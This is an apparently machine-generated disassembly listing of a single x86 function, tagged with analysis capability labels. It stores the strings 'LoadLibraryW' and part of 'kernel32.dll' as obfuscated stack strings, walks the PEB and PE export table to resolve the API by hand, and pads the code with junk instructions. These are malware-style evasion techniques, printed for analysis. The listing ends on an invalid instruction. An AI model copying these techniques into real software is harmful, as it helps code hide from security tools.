Function at 0x4d24c0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
call dword [ebx - 0x7f]
jmp 0x4d244c
jle 0x4d24c7
add byte [ebx + 0x53], bl
push eax
add esp, 4
add ebx, 0x321d
sub ebx, 0xcfe6
pop ebx
push esi
push ecx
add esp, 4
and esi, 0xb150
sub esi, 0x7161
xor esi, 0x1807f
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
sub ecx, 0xe3ae
call 0x4d258c
add byte [ebx], bh
dec ecx
dec eax
dec edx
aaa
dec edx
dec edx
inc esi
inc edx
add esp, 4
sub ecx, 0xb0df
pop ecx
push esi
call 0x4d25a3
add byte [edi + 0x41], al
dec ebp
push eax
dec esi
cmp dword [ebx - 0x7ca1fb3c], eax
mov ebp, 0xffffeb24
add byte [ebp + 0xf], dh
mov dword [ebp - 0x6ec], 0
jmp 0x4d287b
call dword [ebx - 0x7f]
jmp 0x4d244c
push edx
push ebx
add esp, 4
and edx, 0x15b25
or edx, 0x8e31
add edx, 0x16f55
pop edx
push ecx
or ecx, 0x17891
xor ecx, 0x146a5
xor ecx, 0x170af
or ecx, 0x13986
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x4d28f7
push eax
push eax
add esp, 4
xor eax, 0xd2a3
add eax, 0x709e
sub eax, 0x11bac
or eax, 0x7ce3
pop eax
push esi
xor esi, 0x135b1
xor esi, 0x237e
and esi, 0x18210
pop esi
mov dword [ebp - 0x738], 0
jmp 0x4d341e
push edi
push ecx
add esp, 4
call 0x4d290b
add byte [ebp + 0x4e], al
dec esi
cmp al, 0x36
cmp al, 0x3f
dec ebx
aas
add esp, 4
pop edi
push eax
add eax, 0x1766b
sub eax, 0x8dbc
add eax, 0x7d23
add eax, 0x11b6c
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x4d2968
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x4d2c59
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x4d2990
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x4d2c59
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x4d29c2
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x4d2c59
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x4d29e7
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x4d2c59
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x4d2a41
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x4d2c4d
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x4d2ab1
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x4d2b63
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x4d2b63
push eax
push edi
add esp, 4
add eax, 0xeba3
add eax, 0x6e2a
pop eax
push esi
push edi
add esp, 4
sub esi, 0x9a9f
or esi, 0xb808
xor esi, 0x7d09
jmp 0x4d2b0f
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x4d2b55
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x4d2b5c
jmp 0x4d2aa2
jmp 0x4d2b63
push esi
jmp 0x4d2b69
jmp 0x4d2b6e
pop esi
push ecx
push ebx
add esp, 4
xor ecx, 0x14ff9
or ecx, 0xfa20
sub ecx, 0x185a3
and ecx, 0x47c8
pop ecx
push ebx
and ebx, 0x16148
pop ebx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x4d2bc2
mov dword [ebp - 0xc30], 0
jmp 0x4d2c31
push ecx
push edx
add esp, 4
add ecx, 0xcdf8
or ecx, 0xff7c
pop ecx
push ecx
jmp 0x4d2bdc
pop ecx
push edi
or edi, 0x9e74
jmp 0x4d2bed
add edi, 0x7da0
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x4d2c27
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x4d2c31
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x4d2c48
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x4d2c59
jmp 0x4d2a32
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x4d2d34
push esi
and esi, 0x52c3
call 0x4d2c7b
add byte [ecx + 0x34], al
dec ecx
xor al, 0x4c
inc edx
inc edx
aaa
add esp, 4
pop esi
push edi
or edi, 0x5d7e
sub edi, 0x139a4
jmp 0x4d2c91
add edi, 0xc742
pop edi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
push edx
add esp, 4
sub esi, 0xced5
add esi, 0x10088
pop esi
push ecx
push esi
add esp, 4
and ecx, 0x141ba
pop ecx
push ebx
push ecx
add esp, 4
jmp 0x4d2cce
jmp 0x4d2cd5
pop ebx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x4d2d34
push ebx
xor ebx, 0x8c61
and ebx, 0x17ad9
pop ebx
push esi
and esi, 0x61cf
sub esi, 0xd42e
pop esi
push eax
push edi
add esp, 4
call 0x4d2d21
add byte [eax + 0x44], al
cmp al, 0x4c
cmp dword [0x5804c483], edi
mov dword [ebp - 0x738], 0
jmp 0x4d341e
push eax
push edx
add esp, 4
jmp 0x4d2d41
pop eax
push edx
push ecx
add esp, 4
add edx, 0xd60f
pop edx
push edx
push ebx
add esp, 4
and edx, 0xedc8
pop edx
push edx
push esi
add esp, 4
sub edx, 0x99c9
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
push ecx
add esp, 4
and edx, 0x73f9
call 0x4d2da4
add byte [0x3333323c], dh
xor al, 0x83
les eax, [edx + ebx*2]
push ebx
or ebx, 0x1368b
pop ebx
push edx
push edx
add esp, 4
jmp 0x4d2dbe
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x4d2dd7
mov dword [ebp - 0x2e0], 0
jmp 0x4d307e
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push eax
or eax, 0x16f42
call 0x4d2dfe
add byte [esi], bh
inc esp
dec eax
dec esp
aas
dec ecx
inc ebp
add esp, 4
sub eax, 0xe991
jmp 0x4d2e0f
pop eax
push ecx
jmp 0x4d2e1a
pop ecx
cmp dword [ebp - 0xc3c], 0
jne 0x4d2e33
mov dword [ebp - 0x2e0], 0
jmp 0x4d307e
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
push eax
add esp, 4
sub ebx, 0x17254
sub ebx, 0x147a9
sub ebx, 0xfe00
pop ebx
push edx
sub edx, 0x3d1e
xor edx, 0x14b14
and edx, 0x17dd1
and edx, 0x4917
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push eax
push eax
add esp, 4
and eax, 0xca9c
sub eax, 0x140b1
sub eax, 0x11fa3
pop eax
push eax
xor eax, 0xa69b
or eax, 0xd8bf
or eax, 0x59aa
xor eax, 0x15739
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
invalid
test esp, ecx